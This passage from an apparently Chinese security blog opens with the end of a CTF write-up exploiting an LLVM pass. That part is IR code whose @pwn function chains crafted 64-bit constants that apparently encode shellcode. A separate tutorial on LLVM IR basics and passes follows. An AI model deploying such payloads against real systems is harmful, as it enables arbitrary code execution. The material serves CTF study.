  %273 = add nsw i64 %272, 20000000000000
  %274 = add nsw i64 %273, 20000000000000
  %275 = add nsw i64 %274, 20000000000000
  %276 = add nsw i64 %275, 20000000000000
  %277 = add nsw i64 %276, 20000000000000
  %278 = add nsw i64 %277, 20000000000000
  %279 = add nsw i64 %278, 20000000000000
  %280 = add nsw i64 %279, 20000000000000
  %281 = add nsw i64 %280, 20000000000000
  %282 = add nsw i64 %281, 20000000000000
  %283 = add nsw i64 %282, 20000000000000
  %284 = add nsw i64 %283, 20000000000000
  %285 = add nsw i64 %284, 20000000000000
  %286 = add nsw i64 %285, 20000000000000
  %287 = add nsw i64 %286, 20000000000000
  %288 = add nsw i64 %287, 20000000000000
  %289 = add nsw i64 %288, 20000000000000
  %290 = add nsw i64 %289, 20000000000000
  %291 = add nsw i64 %290, 20000000000000
  %292 = add nsw i64 %291, 20000000000000
  %293 = add nsw i64 %292, 20000000000000
  %294 = add nsw i64 %293, 20000000000000
  %295 = add nsw i64 %294, 20000000000000
  %296 = add nsw i64 %295, 20000000000000
  %297 = add nsw i64 %296, 20000000000000
  %298 = add nsw i64 %297, 20000000000000
  %299 = add nsw i64 %298, 20000000000000
  %300 = add nsw i64 %299, 20000000000000
  %301 = add nsw i64 %300, 20000000000000
  %302 = add nsw i64 %301, 20000000000000
  %303 = add nsw i64 %302, 20000000000000
  %304 = add nsw i64 %303, 20000000000000
  %305 = add nsw i64 %304, 20000000000000
  %306 = add nsw i64 %305, 20000000000000
  %307 = add nsw i64 %306, 20000000000000
  %308 = add nsw i64 %307, 20000000000000
  %309 = add nsw i64 %308, 20000000000000
  %310 = add nsw i64 %309, 20000000000000
  %311 = add nsw i64 %310, 20000000000000
  %312 = add nsw i64 %311, 20000000000000
  %313 = add nsw i64 %312, 20000000000000
  %314 = add nsw i64 %313, 20000000000000
  %315 = add nsw i64 %314, 1
  %316 = add nsw i64 %315, 1
  %317 = add nsw i64 %316, 1
  %318 = add nsw i64 %317, 1
  ret i64 %318
}

define dso_local i64 @pwn(i64 %0) local_unnamed_addr #0 {
  %2 = add nsw i64 %0, 21732277098
  %3 = add nsw i64 %2, 426533919260756112
  %4 = add nsw i64 %3, 426712264860536976
  %5 = add nsw i64 %4, 426555988614513992
  %6 = add nsw i64 %5, 426470739404150928
  %7 = add nsw i64 %6, 426435038325729424
  %8 = add nsw i64 %7, 20000000000000
  %9 = add nsw i64 %8, 20000000000000
  %10 = add nsw i64 %9, 20000000000000
  %11 = add nsw i64 %10, 20000000000000
  %12 = add nsw i64 %11, 20000000000000
  %13 = add nsw i64 %12, 20000000000000
  %14 = add nsw i64 %13, 20000000000000
  %15 = add nsw i64 %14, 20000000000000
  %16 = add nsw i64 %15, 20000000000000
  %17 = add nsw i64 %16, 20000000000000
  %18 = add nsw i64 %17, 20000000000000
  %19 = add nsw i64 %18, 20000000000000
  %20 = add nsw i64 %19, 20000000000000
  %21 = add nsw i64 %20, 20000000000000
  %22 = add nsw i64 %21, 20000000000000
  %23 = add nsw i64 %22, 20000000000000
  %24 = add nsw i64 %23, 20000000000000
  %25 = add nsw i64 %24, 20000000000000
  %26 = add nsw i64 %25, 20000000000000
  %27 = add nsw i64 %26, 20000000000000
  %28 = add nsw i64 %27, 20000000000000
  %29 = add nsw i64 %28, 20000000000000
  %30 = add nsw i64 %29, 20000000000000
  %31 = add nsw i64 %30, 20000000000000
  %32 = add nsw i64 %31, 20000000000000
  %33 = add nsw i64 %32, 20000000000000
  %34 = add nsw i64 %33, 20000000000000
  %35 = add nsw i64 %34, 20000000000000
  %36 = add nsw i64 %35, 20000000000000
  %37 = add nsw i64 %36, 20000000000000
  %38 = add nsw i64 %37, 20000000000000
  %39 = add nsw i64 %38, 20000000000000
  %40 = add nsw i64 %39, 20000000000000
  %41 = add nsw i64 %40, 20000000000000
  %42 = add nsw i64 %41, 20000000000000
  %43 = add nsw i64 %42, 20000000000000
  %44 = add nsw i64 %43, 20000000000000
  %45 = add nsw i64 %44, 20000000000000
  %46 = add nsw i64 %45, 20000000000000
  %47 = add nsw i64 %46, 20000000000000
  %48 = add nsw i64 %47, 20000000000000
  %49 = add nsw i64 %48, 20000000000000
  %50 = add nsw i64 %49, 20000000000000
  %51 = add nsw i64 %50, 20000000000000
  %52 = add nsw i64 %51, 20000000000000
  %53 = add nsw i64 %52, 20000000000000
  %54 = add nsw i64 %53, 20000000000000
  %55 = add nsw i64 %54, 20000000000000
  %56 = add nsw i64 %55, 20000000000000
  %57 = add nsw i64 %56, 20000000000000
  %58 = add nsw i64 %57, 20000000000000
  %59 = add nsw i64 %58, 20000000000000
  %60 = add nsw i64 %59, 20000000000000
  %61 = add nsw i64 %60, 20000000000000
  %62 = add nsw i64 %61, 20000000000000
  %63 = add nsw i64 %62, 20000000000000
  %64 = add nsw i64 %63, 20000000000000
  %65 = add nsw i64 %64, 20000000000000
  %66 = add nsw i64 %65, 20000000000000
  %67 = add nsw i64 %66, 20000000000000
  %68 = add nsw i64 %67, 20000000000000
  %69 = add nsw i64 %68, 20000000000000
  %70 = add nsw i64 %69, 20000000000000
  %71 = add nsw i64 %70, 20000000000000
  %72 = add nsw i64 %71, 20000000000000
  %73 = add nsw i64 %72, 20000000000000
  %74 = add nsw i64 %73, 20000000000000
  %75 = add nsw i64 %74, 20000000000000
  %76 = add nsw i64 %75, 20000000000000
  %77 = add nsw i64 %76, 20000000000000
  %78 = add nsw i64 %77, 20000000000000
  %79 = add nsw i64 %78, 20000000000000
  %80 = add nsw i64 %79, 20000000000000
  %81 = add nsw i64 %80, 20000000000000
  %82 = add nsw i64 %81, 20000000000000
  %83 = add nsw i64 %82, 20000000000000
  %84 = add nsw i64 %83, 20000000000000
  %85 = add nsw i64 %84, 20000000000000
  %86 = add nsw i64 %85, 20000000000000
  %87 = add nsw i64 %86, 20000000000000
  %88 = add nsw i64 %87, 20000000000000
  %89 = add nsw i64 %88, 20000000000000
  %90 = add nsw i64 %89, 20000000000000
  %91 = add nsw i64 %90, 20000000000000
  %92 = add nsw i64 %91, 20000000000000
  %93 = add nsw i64 %92, 20000000000000
  %94 = add nsw i64 %93, 20000000000000
  %95 = add nsw i64 %94, 20000000000000
  %96 = add nsw i64 %95, 20000000000000
  %97 = add nsw i64 %96, 20000000000000
  %98 = add nsw i64 %97, 20000000000000
  %99 = add nsw i64 %98, 20000000000000
  %100 = add nsw i64 %99, 20000000000000
  %101 = add nsw i64 %100, 20000000000000
  %102 = add nsw i64 %101, 20000000000000
  %103 = add nsw i64 %102, 20000000000000
  %104 = add nsw i64 %103, 20000000000000
  %105 = add nsw i64 %104, 20000000000000
  %106 = add nsw i64 %105, 20000000000000
  %107 = add nsw i64 %106, 20000000000000
  %108 = add nsw i64 %107, 20000000000000
  %109 = add nsw i64 %108, 20000000000000
  %110 = add nsw i64 %109, 20000000000000
  %111 = add nsw i64 %110, 20000000000000
  %112 = add nsw i64 %111, 20000000000000
  %113 = add nsw i64 %112, 20000000000000
  %114 = add nsw i64 %113, 20000000000000
  %115 = add nsw i64 %114, 20000000000000
  %116 = add nsw i64 %115, 20000000000000
  %117 = add nsw i64 %116, 20000000000000
  %118 = add nsw i64 %117, 20000000000000
  %119 = add nsw i64 %118, 20000000000000
  %120 = add nsw i64 %119, 20000000000000
  %121 = add nsw i64 %120, 20000000000000
  %122 = add nsw i64 %121, 20000000000000
  %123 = add nsw i64 %122, 20000000000000
  %124 = add nsw i64 %123, 20000000000000
  %125 = add nsw i64 %124, 20000000000000
  %126 = add nsw i64 %125, 20000000000000
  %127 = add nsw i64 %126, 20000000000000
  %128 = add nsw i64 %127, 20000000000000
  %129 = add nsw i64 %128, 20000000000000
  %130 = add nsw i64 %129, 20000000000000
  %131 = add nsw i64 %130, 20000000000000
  %132 = add nsw i64 %131, 20000000000000
  %133 = add nsw i64 %132, 20000000000000
  %134 = add nsw i64 %133, 20000000000000
  %135 = add nsw i64 %134, 20000000000000
  %136 = add nsw i64 %135, 20000000000000
  %137 = add nsw i64 %136, 20000000000000
  %138 = add nsw i64 %137, 20000000000000
  %139 = add nsw i64 %138, 20000000000000
  %140 = add nsw i64 %139, 20000000000000
  %141 = add nsw i64 %140, 20000000000000
  %142 = add nsw i64 %141, 20000000000000
  %143 = add nsw i64 %142, 20000000000000
  %144 = add nsw i64 %143, 20000000000000
  %145 = add nsw i64 %144, 20000000000000
  %146 = add nsw i64 %145, 20000000000000
  %147 = add nsw i64 %146, 20000000000000
  %148 = add nsw i64 %147, 20000000000000
  %149 = add nsw i64 %148, 20000000000000
  %150 = add nsw i64 %149, 20000000000000
  %151 = add nsw i64 %150, 20000000000000
  %152 = add nsw i64 %151, 20000000000000
  %153 = add nsw i64 %152, 20000000000000
  %154 = add nsw i64 %153, 20000000000000
  %155 = add nsw i64 %154, 20000000000000
  %156 = add nsw i64 %155, 20000000000000
  %157 = add nsw i64 %156, 20000000000000
  %158 = add nsw i64 %157, 20000000000000
  %159 = add nsw i64 %158, 20000000000000
  %160 = add nsw i64 %159, 20000000000000
  %161 = add nsw i64 %160, 20000000000000
  %162 = add nsw i64 %161, 20000000000000
  %163 = add nsw i64 %162, 20000000000000
  %164 = add nsw i64 %163, 20000000000000
  %165 = add nsw i64 %164, 20000000000000
  %166 = add nsw i64 %165, 20000000000000
  %167 = add nsw i64 %166, 20000000000000
  %168 = add nsw i64 %167, 20000000000000
  %169 = add nsw i64 %168, 20000000000000
  %170 = add nsw i64 %169, 20000000000000
  %171 = add nsw i64 %170, 20000000000000
  %172 = add nsw i64 %171, 20000000000000
  %173 = add nsw i64 %172, 20000000000000
  %174 = add nsw i64 %173, 20000000000000
  %175 = add nsw i64 %174, 20000000000000
  %176 = add nsw i64 %175, 20000000000000
  %177 = add nsw i64 %176, 20000000000000
  %178 = add nsw i64 %177, 20000000000000
  %179 = add nsw i64 %178, 20000000000000
  %180 = add nsw i64 %179, 20000000000000
  %181 = add nsw i64 %180, 20000000000000
  %182 = add nsw i64 %181, 20000000000000
  %183 = add nsw i64 %182, 20000000000000
  %184 = add nsw i64 %183, 20000000000000
  %185 = add nsw i64 %184, 20000000000000
  %186 = add nsw i64 %185, 20000000000000
  %187 = add nsw i64 %186, 20000000000000
  %188 = add nsw i64 %187, 20000000000000
  %189 = add nsw i64 %188, 20000000000000
  %190 = add nsw i64 %189, 20000000000000
  %191 = add nsw i64 %190, 20000000000000
  %192 = add nsw i64 %191, 20000000000000
  %193 = add nsw i64 %192, 20000000000000
  %194 = add nsw i64 %193, 20000000000000
  %195 = add nsw i64 %194, 20000000000000
  %196 = add nsw i64 %195, 20000000000000
  %197 = add nsw i64 %196, 20000000000000
  %198 = add nsw i64 %197, 20000000000000
  %199 = add nsw i64 %198, 20000000000000
  %200 = add nsw i64 %199, 20000000000000
  %201 = add nsw i64 %200, 20000000000000
  %202 = add nsw i64 %201, 20000000000000
  %203 = add nsw i64 %202, 20000000000000
  %204 = add nsw i64 %203, 20000000000000
  %205 = add nsw i64 %204, 20000000000000
  %206 = add nsw i64 %205, 20000000000000
  %207 = add nsw i64 %206, 20000000000000
  %208 = add nsw i64 %207, 20000000000000
  %209 = add nsw i64 %208, 20000000000000
  %210 = add nsw i64 %209, 20000000000000
  %211 = add nsw i64 %210, 20000000000000
  %212 = add nsw i64 %211, 20000000000000
  %213 = add nsw i64 %212, 20000000000000
  %214 = add nsw i64 %213, 20000000000000
  %215 = add nsw i64 %214, 20000000000000
  %216 = add nsw i64 %215, 20000000000000
  %217 = add nsw i64 %216, 20000000000000
  %218 = add nsw i64 %217, 20000000000000
  %219 = add nsw i64 %218, 20000000000000
  %220 = add nsw i64 %219, 20000000000000
  %221 = add nsw i64 %220, 20000000000000
  %222 = add nsw i64 %221, 20000000000000
  %223 = add nsw i64 %222, 20000000000000
  %224 = add nsw i64 %223, 20000000000000
  %225 = add nsw i64 %224, 20000000000000
  %226 = add nsw i64 %225, 20000000000000
  %227 = add nsw i64 %226, 20000000000000
  %228 = add nsw i64 %227, 20000000000000
  %229 = add nsw i64 %228, 20000000000000
  %230 = add nsw i64 %229, 20000000000000
  %231 = add nsw i64 %230, 20000000000000
  %232 = add nsw i64 %231, 20000000000000
  %233 = add nsw i64 %232, 20000000000000
  %234 = add nsw i64 %233, 20000000000000
  %235 = add nsw i64 %234, 20000000000000
  %236 = add nsw i64 %235, 20000000000000
  %237 = add nsw i64 %236, 20000000000000
  %238 = add nsw i64 %237, 20000000000000
  %239 = add nsw i64 %238, 20000000000000
  %240 = add nsw i64 %239, 20000000000000
  %241 = add nsw i64 %240, 20000000000000
  %242 = add nsw i64 %241, 20000000000000
  %243 = add nsw i64 %242, 20000000000000
  %244 = add nsw i64 %243, 20000000000000
  %245 = add nsw i64 %244, 20000000000000
  %246 = add nsw i64 %245, 20000000000000
  %247 = add nsw i64 %246, 20000000000000
  %248 = add nsw i64 %247, 20000000000000
  %249 = add nsw i64 %248, 20000000000000
  %250 = add nsw i64 %249, 20000000000000
  %251 = add nsw i64 %250, 20000000000000
  %252 = add nsw i64 %251, 20000000000000
  %253 = add nsw i64 %252, 20000000000000
  %254 = add nsw i64 %253, 20000000000000
  %255 = add nsw i64 %254, 20000000000000
  %256 = add nsw i64 %255, 20000000000000
  %257 = add nsw i64 %256, 20000000000000
  %258 = add nsw i64 %257, 20000000000000
  %259 = add nsw i64 %258, 20000000000000
  %260 = add nsw i64 %259, 20000000000000
  %261 = add nsw i64 %260, 20000000000000
  %262 = add nsw i64 %261, 20000000000000
  %263 = add nsw i64 %262, 20000000000000
  %264 = add nsw i64 %263, 20000000000000
  %265 = add nsw i64 %264, 20000000000000
  %266 = add nsw i64 %265, 20000000000000
  %267 = add nsw i64 %266, 20000000000000
  %268 = add nsw i64 %267, 20000000000000
  %269 = add nsw i64 %268, 20000000000000
  %270 = add nsw i64 %269, 20000000000000
  %271 = add nsw i64 %270, 20000000000000
  %272 = add nsw i64 %271, 20000000000000
  %273 = add nsw i64 %272, 20000000000000
  %274 = add nsw i64 %273, 20000000000000
  %275 = add nsw i64 %274, 20000000000000
  %276 = add nsw i64 %275, 20000000000000
  %277 = add nsw i64 %276, 20000000000000
  %278 = add nsw i64 %277, 20000000000000
  %279 = add nsw i64 %278, 20000000000000
  %280 = add nsw i64 %279, 20000000000000
  %281 = add nsw i64 %280, 20000000000000
  %282 = add nsw i64 %281, 20000000000000
  %283 = add nsw i64 %282, 20000000000000
  %284 = add nsw i64 %283, 20000000000000
  %285 = add nsw i64 %284, 20000000000000
  %286 = add nsw i64 %285, 20000000000000
  %287 = add nsw i64 %286, 20000000000000
  %288 = add nsw i64 %287, 20000000000000
  %289 = add nsw i64 %288, 20000000000000
  %290 = add nsw i64 %289, 20000000000000
  %291 = add nsw i64 %290, 20000000000000
  %292 = add nsw i64 %291, 20000000000000
  %293 = add nsw i64 %292, 20000000000000
  %294 = add nsw i64 %293, 20000000000000
  %295 = add nsw i64 %294, 20000000000000
  %296 = add nsw i64 %295, 20000000000000
  %297 = add nsw i64 %296, 20000000000000
  %298 = add nsw i64 %297, 20000000000000
  %299 = add nsw i64 %298, 20000000000000
  %300 = add nsw i64 %299, 20000000000000
  %301 = add nsw i64 %300, 20000000000000
  %302 = add nsw i64 %301, 20000000000000
  %303 = add nsw i64 %302, 20000000000000
  %304 = add nsw i64 %303, 20000000000000
  %305 = add nsw i64 %304, 20000000000000
  %306 = add nsw i64 %305, 20000000000000
  %307 = add nsw i64 %306, 20000000000000
  %308 = add nsw i64 %307, 20000000000000
  %309 = add nsw i64 %308, 20000000000000
  %310 = add nsw i64 %309, 20000000000000
  %311 = add nsw i64 %310, 20000000000000
  %312 = add nsw i64 %311, 20000000000000
  %313 = add nsw i64 %312, 20000000000000
  %314 = add nsw i64 %313, 20000000000000
  %315 = add nsw i64 %314, 1
  ret i64 %315
}

小结：

这个题目的利用方式比较巧妙，复现时调试了很久才发现 this->map 时倒序写入的

把很久都没有做过的 LLVM 复习了一下

LLVM 基础知识

Posted on 2023-03-24 Edited on 2023-03-31 In Knowledge 15k 14 mins.

LLVM IR

LLVM 项目是模块化、可重用的编译器以及工具链技术的集合，用于优化以任意程序语言编写的程序的编译时间 (compile-time)，链接时间 (link-time)，运行时间 (run-time)，以及空闲时间 (idle-time)

编译可以分为五个基本步骤：

词法分析
语法分析
语义分析
中间代码的生成、优化
目标代码的生成

这是每个编译器都必须的基本步骤和流程，从源头输入高级语言源程序输出目标语言代码

IR主要有以下四部分组成：

Module：模块
Function：函数
BasicBlock：基本块（对应复合语句，用 {} 包裹起来）
Instruction：指令

基础流程

具体流程如下：

源代码 ==>[词法分析]==> 词法单元流(token) ==>[语法分析]==> 语法树(AST) ==>[语义分析]==> 语法树(AST) ==>[中间代码的生成,优化]==> 中间代码 ==>[目标代码的生成]==> 目标机器代码

LLVM 则使用 LLVM IR 为中间代码：

源代码 ==>[词法分析]==> 词法单元流(token) ==>[语法/语义分析]==> 语法树(AST) ==>[中间代码的生成]==> LLVM IR ==>[中间代码的优化]==> 生成汇编代码 ==>[汇编+链接]==> 目标机器代码

传给 LLVM PASS 进行优化的数据是 LLVM IR，即代码的中间表示，LLVM IR有三种表示形式：这三种中间格式是完全等价的：

在内存中的编译中间语言（我们无法通过文件的形式得到）
在硬盘上存储的二进制中间语言（格式为 .bc）
人类可读的代码语言（格式为 .ll）

从对应格式转化到另一格式的命令如下：

.c -> .ll：clang -emit-llvm -S a.c -o a.ll
.c -> .bc: clang -emit-llvm -c a.c -o a.bc
.ll -> .bc: llvm-as a.ll -o a.bc
.bc -> .ll: llvm-dis a.bc -o a.ll
.bc -> .s: llc a.bc -o a.s

LLVM 使用案例：

#include <stdio.h>
#include <unistd.h>

void fun1(int *a,int *b){
	int c;
	if(a>b){
		c=*a;
		*a=*b;
		*b=c;
	}else{
		printf("%d %d\n",*a,*b);
	}
}

void fun2(int n){
	int i=0;
	while(i<n){
		printf("%d\n",i);
	}
}

int main() {
	char name[0x10];
	read(0,&name[0],0x10);
	write(1,&name[1],0x10);
	printf("bye\n");
	return 0;
}

1	clang -emit-llvm -S test.c -o test.ll

; ModuleID = 'test.c'
source_filename = "test.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"

@.str = private unnamed_addr constant [7 x i8] c"%d %d\0A\00", align 1
@.str.1 = private unnamed_addr constant [4 x i8] c"%d\0A\00", align 1
@.str.2 = private unnamed_addr constant [5 x i8] c"bye\0A\00", align 1

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @fun1(i32* %0, i32* %1) #0 { /* Function */
  %3 = alloca i32*, align 8 /* Instruction */
  %4 = alloca i32*, align 8
  %5 = alloca i32, align 4
  store i32* %0, i32** %3, align 8
  store i32* %1, i32** %4, align 8
  %6 = load i32*, i32** %3, align 8
  %7 = load i32*, i32** %4, align 8
  %8 = icmp ugt i32* %6, %7
  br i1 %8, label %9, label %17

9:                                                ; preds = %2 /* BasicBlock */
  %10 = load i32*, i32** %3, align 8
  %11 = load i32, i32* %10, align 4
  store i32 %11, i32* %5, align 4
  %12 = load i32*, i32** %4, align 8
  %13 = load i32, i32* %12, align 4
  %14 = load i32*, i32** %3, align 8
  store i32 %13, i32* %14, align 4
  %15 = load i32, i32* %5, align 4
  %16 = load i32*, i32** %4, align 8
  store i32 %15, i32* %16, align 4
  br label %23

17:                                               ; preds = %2
  %18 = load i32*, i32** %3, align 8
  %19 = load i32, i32* %18, align 4
  %20 = load i32*, i32** %4, align 8
  %21 = load i32, i32* %20, align 4
  %22 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str, i64 0, i64 0), i32 %19, i32 %21)
  br label %23

23:                                               ; preds = %17, %9
  ret void
}

declare dso_local i32 @printf(i8*, ...) #1

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @fun2(i32 %0) #0 {
  %2 = alloca i32, align 4
  %3 = alloca i32, align 4
  store i32 %0, i32* %2, align 4
  store i32 0, i32* %3, align 4
  br label %4

4:                                                ; preds = %8, %1
  %5 = load i32, i32* %3, align 4
  %6 = load i32, i32* %2, align 4
  %7 = icmp slt i32 %5, %6
  br i1 %7, label %8, label %11

8:                                                ; preds = %4
  %9 = load i32, i32* %3, align 4
  %10 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.1, i64 0, i64 0), i32 %9)
  br label %4

11:                                               ; preds = %4
  ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local i32 @main() #0 {
  %1 = alloca i32, align 4
  %2 = alloca [16 x i8], align 16
  store i32 0, i32* %1, align 4
  %3 = getelementptr inbounds [16 x i8], [16 x i8]* %2, i64 0, i64 0
  %4 = call i64 @read(i32 0, i8* %3, i64 16)
  %5 = getelementptr inbounds [16 x i8], [16 x i8]* %2, i64 0, i64 1
  %6 = call i64 @write(i32 1, i8* %5, i64 16)
  %7 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.2, i64 0, i64 0))
  ret i32 0
}

declare dso_local i64 @read(i32, i8*, i64) #1

declare dso_local i64 @write(i32, i8*, i64) #1

attributes #0 = { noinline nounwind optnone uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }
attributes #1 = { "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }

!llvm.module.flags = !{!0}
!llvm.ident = !{!1}

!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{!"clang version 10.0.0-4ubuntu1 "}

@代表全局标识符（函数，全局变量）
%代表局部标识符（寄存器名称也就是局部变量，类型）
alloca 指令：用于分配内存堆栈给当前执行的函数，当这个函数返回其调用者时自动释放
br 指令：第一个参数是 i1 类型的值，用于作判断，第二和第三个参数分别是值为 true 和 false 时需要跳转到的标签

指令分析

GetElementPtr 指令是一条指针计算语句，本身并不进行任何数据的访问或修改，只进行指针的计算

1
2
3

<result> = getelementptr <ty>, <ty>* <ptrval>{, [inrange] <ty> <idx>}*
<result> = getelementptr inbounds <ty>, <ty>* <ptrval>{, [inrange] <ty> <idx>}*
<result> = getelementptr <ty>, <ptr vector> <ptrval>, [inrange] <vector index type> <idx>

第一个 <ty> 是 “第一个索引” 使用的基本类型
第二个 <ty>* 表示其后的基地址 <ptrval> 的类型

案例：数组处理

#include <stdio.h>
#include <unistd.h>

int main() {
   char name1[0x10];
   char name2[0x10][0x10];
   char* name3[0x10];
   name1[0x8] = 'a';
   name2[0x4][0x4] = 'b';
   name1[0]=name1[4];
   name3[0]=&name1[5];
}

%1 = alloca [16 x i8], align 16 /* 创建变量 */
%2 = alloca [16 x [16 x i8]], align 16
%3 = alloca [16 x i8*], align 16
%4 = getelementptr inbounds [16 x i8], [16 x i8]* %1, i64 0, i64 8
store i8 97, i8* %4, align 8
%5 = getelementptr inbounds [16 x [16 x i8]], [16 x [16 x i8]]* %2, i64 0, i64 4
%6 = getelementptr inbounds [16 x i8], [16 x i8]* %5, i64 0, i64 4
store i8 98, i8* %6, align 4
%7 = getelementptr inbounds [16 x i8], [16 x i8]* %1, i64 0, i64 4
%8 = load i8, i8* %7, align 4 /* 取数据 */
%9 = getelementptr inbounds [16 x i8], [16 x i8]* %1, i64 0, i64 0
store i8 %8, i8* %9, align 16
%10 = getelementptr inbounds [16 x i8], [16 x i8]* %1, i64 0, i64 5
%11 = getelementptr inbounds [16 x i8*], [16 x i8*]* %3, i64 0, i64 0
store i8* %10, i8** %11, align 16

name 和 &name[0] 是等价的
对于多级数组，需要分多次进行表示

案例：结构体处理

#include <stdio.h>
#include <unistd.h>

struct RT {
	char* a;
	int b[10][20];
	char c[5];
};
struct ST {
	int x;
	double y;
	struct RT r;
};

int main() {
	struct RT rt;
	struct ST st;
	st.r = rt;
	st.x = 1;
	st.y = 2.0;
	rt.a = &rt.c[3];
	rt.b[0x5][0x5] = 4;
	rt.c[3] = 'c';
}

%1 = alloca %struct.RT, align 8
%2 = alloca %struct.ST, align 8
%3 = getelementptr inbounds %struct.ST, %struct.ST* %2, i32 0, i32 2
%4 = bitcast %struct.RT* %3 to i8*
%5 = bitcast %struct.RT* %1 to i8*
call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 8 %4, i8* align 8 %5, i64 816, i1 false)
%6 = getelementptr inbounds %struct.ST, %struct.ST* %2, i32 0, i32 0
store i32 1, i32* %6, align 8
%7 = getelementptr inbounds %struct.ST, %struct.ST* %2, i32 0, i32 1
store double 2.000000e+00, double* %7, align 8
    /* rt.c */
%8 = getelementptr inbounds %struct.RT, %struct.RT* %1, i32 0, i32 2
    /* &c[3] */
%9 = getelementptr inbounds [5 x i8], [5 x i8]* %8, i64 0, i64 3
    /* rt.a */
%10 = getelementptr inbounds %struct.RT, %struct.RT* %1, i32 0, i32 0
store i8* %9, i8** %10, align 8
    /* rt.b */
%11 = getelementptr inbounds %struct.RT, %struct.RT* %1, i32 0, i32 1
%12 = getelementptr inbounds [10 x [20 x i32]], [10 x [20 x i32]]* %11, i64 0, i64 5
%13 = getelementptr inbounds [20 x i32], [20 x i32]* %12, i64 0, i64 5
store i32 4, i32* %13, align 4
    /* rt.c */
%14 = getelementptr inbounds %struct.RT, %struct.RT* %1, i32 0, i32 2
%15 = getelementptr inbounds [5 x i8], [5 x i8]* %14, i64 0, i64 3
store i8 99, i8* %15, align 1

数组中的索引在结构体中依然适用
在使用结构体之前，需要先找到对应的结构体条目

Call 指令用于调用一个函数：

1 2	<result> = [tail \| musttail \| notail ] call [fast-math flags] [cconv] [ret attrs] [addrspace(<num>)]<ty>\|<fnty> <fnptrval>(<function args>) [fn attrs] [ operand bundles ]

tail 和 musttail 标记指示优化器应执行尾(tail)调用优化，notail 标记表示优化器不应该向调用添加 tail 或 musttail 标记，它用于防止对调用执行尾调用优化
- tail 标记是可以忽略的提示
- musttail 标记意味着该调用必须经过尾(tail)调用优化，以使程序正确
- musttail 标记提供以下保证：
  - 如果该调用是调用图中的递归循环的一部分，则该调用将不会导致堆栈无限增长
  - 具有 inalloca 或 preallocated 属性的参数将就地转发
  - 如果 musttail 调用出现在带有 thunk 属性的函数中，并且调用者和被调用者都具有可变参数，那么寄存器或内存中的任何非原型参数都将转发给被调用者，类似地，被调用者的返回值返回给调用者的调用者，即使使用了空返回类型
fast-math flags 标记表示调用有一个或多个 fast-math flags (高级结构里面有这个的介绍)，这些 fast-math flags 是用于启用不安全的浮点优化的优化提示，fast-math flags 仅对返回浮点标量或向量类型、浮点标量或向量数组(嵌套到任何深度)类型的调用有效
cconv 标记指示调用应该使用哪种调用约定(高级结构里面有调用约定的介绍)，如果没有指定，调用默认使用C调用约定，该调用约定必须匹配目标函数的调用约定，否则行为是未定义的
ret attrs 列出返回值的参数属性(高级结构里面有参数属性的介绍)，这里只有 zeroext、signext 和 inreg 属性有效 addrspace(<num>) 属性可用于指示被调用函数的地址空间，如果未指定，将使用 data layout (高级结构里面有这个的介绍，翻译成了数据布局)字符串中的程序地址空间
<ty> 是调用指令本身的类型，也是返回值的类型，没有返回值的函数被标记为 void
<fnty> 是被调用函数的签名，参数类型必须匹配此签名所隐含的类型，如果函数不是可变参数，则可以省略此类型
fnptrval 是一个 LLVM 值，包含要调用的函数的指针（定义一个函数时的函数名），在大多数情况下，这是一个直接的函数调用，但是间接调用则尽可能调用任意指向函数值的指针
function args 是函数参数列表，有参数类型和参数属性，所有的参数都是 first class type，如果函数签名表明函数接受可变数量的参数，则可以指定额外的参数
fn attrs 函数属性
operand bundles 操作数集

案例：函数调用

#include <stdio.h>
#include <unistd.h>

int main() {
	char name[0x10];
	read(0,name,0x10);
	write(1,name,0x10);
	printf("bye\n");
}

%1 = alloca [16 x i8], align 16
%2 = getelementptr inbounds [16 x i8], [16 x i8]* %1, i64 0, i64 0
%3 = call i64 @read(i32 0, i8* %2, i64 16)
%4 = getelementptr inbounds [16 x i8], [16 x i8]* %1, i64 0, i64 0
%5 = call i64 @write(i32 1, i8* %4, i64 16)
%6 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0))

LLVM PASS

LLVM 的优化和转换工作就是由多个 pass 来一起完成的，类似流水线操作一样，每个 pass 完成特定的优化工作，所有的 pass 大致可以分为两类：

分析 (analysis) 和转换分析类的 pass 以提供信息为主
转换类 (transform) 的 pass 优化中间代码

LLVM 分三个阶段，对于不同的语言它都提供了同一种中间表示：

前端可以使用不同的编译工具对代码文件做词法分析以形成抽象语法树（AST），然后将分析好的代码转换成 LLVM 的中间表示 IR（intermediate representation）
中间部分的优化器只对中间表示 IR 进行操作，通过一系列的 pass 对 IR 做优化
后端负责将优化好的 IR 解释成对应平台的机器码

LLVM 的优点在于：中间表示 IR 代码编写良好，而且不同的前端语言最终都转换成同一种的 IR

计算机科学领域的任何问题都可以通过增加一个间接的中间层来解决

所以 LLVM 就是在执行优化操作之前，先把代码转化为 LLVM 的中间表示 IR，然后对 IR 进行优化，最后交给后端翻译为机器码

